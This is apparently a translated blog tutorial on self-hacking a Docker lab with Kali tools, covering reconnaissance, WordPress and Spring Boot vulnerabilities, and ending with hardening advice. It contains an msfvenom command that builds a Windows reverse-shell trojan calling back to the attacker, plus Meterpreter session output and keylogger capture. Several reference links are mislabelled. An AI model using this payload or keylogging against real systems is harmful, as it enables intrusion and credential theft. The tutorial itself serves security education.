Not least after Spectre and Meltdown the question arises: Would I already be hacked or haven’t I noticed it yet? So why not make a virtue out of necessity and adopt your own systems? The learning curve is steep, but it helps to recognize and minimize risks.
It is essential that security know-how is built up in the team. The first step is to create an awareness of the problem. Especially for agile teams it is therefore important to establish different control points with automatic security tests. In addition to static code analysis, however, it helps enormously to get yourself into the role of the attacker.
Safe on the road
At this point we would like to point out again that hacking without the consent of the domain owner is illegal.
In general, you should not install the various hacking tools on your regular computer. It is best to use Whonix or Kali-Linux in a virtual machine. In the following Kali-Linux is used. The nice thing is: Most of the tools are already installed and can be used directly. Alternatively you can use a docker image, which is also the case in this article.
One more note about using Tor: Tor is useful for things like surfing the Internet, but when it comes to using hacking tools like nmap, sqlmap, and nikto, which make thousands of requests, they run very slowly over Tor.
Exploring the site
Even if Hollywood presents it differently to us: Hackers often spend more time preparing the attack than they do with the actual hack. This is primarily about collecting information, such as domain entries: Here is fierce, whois queries of IP addresses and domain names and reverse whois queries to find all IP address ranges and domain names associated with an organization:
- First of all, an attempt is made to obtain more information (AXFR request) via the network via zone transfer. This will not work in most cases
- Now Fierce tries to find out if a wildcard entry exists
- Subsequently, various further subdomains are found by BruteForce
- A total of 10 entries were found
Using Whois queries you can now start to find out more about the provider who has registered the domain and probably also operates it:
So now you can search by reverse whois search for further addresses. But since these are expensive, you can also try your luck with Google. Just do reverse search via Google for ip address listings or urls.
Since we do not have a direct Whois record in our case, but only the entry of the hoster, too many IP ranges are listed to us here. However, this can vary depending on the configuration and setup of the company. Finally, the reverse search serves to extend the list of interesting IPs/domains.
At this point, a note on the security of cloud providers. If you try to get more information via DNS at AWS, it’s not that easy:
This is an advantage of large providers of Amazon & Co. These providers offer less attack surface to pick up information and this can already deter attackers.
Now that potential targets have been identified, you can start scanning for services. This can be done with nmap or nikto.
The installed WordPress comes directly from the Debian package sources. Otherwise, no changes were made to the default Debian configuration.
Nikto gives us useful points about possible attacks:
Additionally nmap provides us with which services are available:
- Only two services were found: SSH and HTTP
- The SSH server reveals the version and thus also the Debian version. In addition we also know which Apache version is used
- So as an attacker you know which version of Debian is used, although nmap itself does not use it directly.
Knowledge is power
The next step is to open the page in your browser. It quickly becomes apparent that this is a WordPress blog. As an attacker you can comfortably search the source code for “generator” to get the version:
Now we can use wpscan:
For us, CVE-2017–8295 is a good point of attack. With the help of this gap an attacker can redirect password reset mails to any mail server and thus get to the critical link.
This works because WordPress or Apache uses the host header 1:1 for various mail headers in the outgoing mail in the standard configuration. How this exactly works you can read in the Exploit-DB. An attack would look like this:
In our example in Docker there is no mail server configured, so it comes to a 500 HTTP status code.
As soon as an HTTP status 302 comes, the attack was successful and will have received the reset email on our “fake domain”. Now it can be said that PHP is known to have more security problems, but Java frameworks are also affected to a similar extent. Take the popular SpringBoot, for example. At the end of last year, CVE-2017–8046 became known, which made the remote execution of arbitrary commands possible. This gap was first fixed in the next major release of SpringBoot, but is now also corrected in the 1.5 release. Exploiting the gap is relatively easy, as long as you have access to the API of the application, special rights are not necessary.
In our Docker sample project there is a vulnerable SpringBoot variant as Docker container, which we can attack from our Kali console:
After you have created an object using a POST request, you can execute any commands using a PATCH request. You can also read the output of the remote command. This quickly starts another service that allows direct access unless additional security measures such as SELinux are used.
You can even take the whole thing one step further. You put your own trojan together that exploits specific vulnerabilities in an operating system or browser.
With MSFvenom this is very fast and easy: build your own .trojan
msfvenom-p windows/meterpreter/reverse_tcp — platform windows-a x86 -f exe LHOST=”<<our_ip_address>>”LPORT=8888 -o /share/trojan.exe
MSFvenom is by no means limited to Windows. Various Unix versions and Mac versions are supported. Due to its wider distribution, Windows remains the worthwhile target, especially in view of the fact that a good proportion of users do not use the most up-to-date Windows.
Now we start the metasploit console (the firewall should allow port 8888 on our site) and start a generic handler that listens to our “Trojans”:
If we now see our Trojan on a Windows (the AntiVirus software should be disabled for this) we see on the Metasploit console the connection setup:
[*] Sending stage (179779 bytes) to172.27.0.1
[*] Meterpreter session 1 opened (172.27.0.4:8888 ->172.27.0.1:44510) at2018–06–03 10:22:35 +0000
In the now started meterpreter session we can issue some commands:
The upper one is only an excerpt of the very rich variety of commands. We start the keylogger and register on the “victim” on ebay:
Dumping captured keystrokes…
After the registration we can display the result: .read out Keylogger
Surely the example was very simplified and Metasploit can use much more exploits, e.g. Jenkins Script Exploits. But it shows how easy it can be if you already know a lot about your “victim”. This is especially important for attackers from the inside.
The tools all around Kali & Co should show that it is better to repair damages, to be one step ahead of criminal cyber attackers. To do this, you should familiarize yourself with their approach and tools. Then you are only one step away from the Ethical Hacker. The special knowledge of ethical hackers is in great demand, because the threat of cybercrime is growing year after year — not only in Germany. With the help of ethical hackers and so-called penetration tests, more and more companies want to arm themselves against cyber attacks. Especially the external observation can help to protect against business blindness. You should proceed like real attackers, ideally covered. Only a very small group of people should know about the “hacker attack” in order to provide a realistic picture.
Subsequently, recommendations for action can be derived to set more hurdles:
- reveal little information, e.g. versions of services such as Apache, Nginx, SSH and applications such as WordPress
- avoid standard ports. For example, if you configure SSH on a different port, it can be much more time-consuming for the attacker, and that can often be enough.
- secure applications
A reasonably well configured web application doesn’t tell very much:
In order for this to work in the long term, not only technical measures should be established. Continuous security with automatic tests for vulnerabilities, see demo, can only ever represent one aspect. Security awareness must be sharpened among developers. Especially with “self-hacking”, the whole thing is also associated with sporting ambition and fun. There are also online courses on this, such as from PluralSight. Against the background of ever shorter releases (Continuous Delivery and Continuous Integration) one should also consider that it can be an opportunity for security to react faster.
1. [source] GitHub Beispiel: https://github.com/holisticon/hack-yourself
2. [whonix] Whonix: https://www.whonix.org
3. [kali] Kali Linux: https://www.whonix.org
4. [fierce] Fierce: https://tools.kali.org/information-gathering/fierce
5. [nmap] Fierce: https://tools.kali.org/information-gathering/fierce
6. [nikto] Fierce: https://tools.kali.org/information-gathering/fierce
7. [wpscan] Fierce: https://tools.kali.org/information-gathering/fierce
8. [springboot] Springboot BeispieL: https://github.com/holisticon/SpringBreakVulnerableApp
9. [msfvenom] MSFvenom: https://www.offensive-security.com/metasploit-unleashed/msfvenom
10. [metasploit] metasploit: https://www.metasploit.com
11. [jenkins-script-exploit] Jenkins Script Console Exploit: https://www.rapid7.com/db/modules/exploit/multi/http/jenkins_script_console
12. [hack-your-self] Online-Kurs zum selber hacken (englisch): https://www.pluralsight.com/courses/hack-yourself-first
13. [continuous-security-demo] Beispiel mit Security-Checks in Jenkins: https://github.com/holisticon/web-security-sample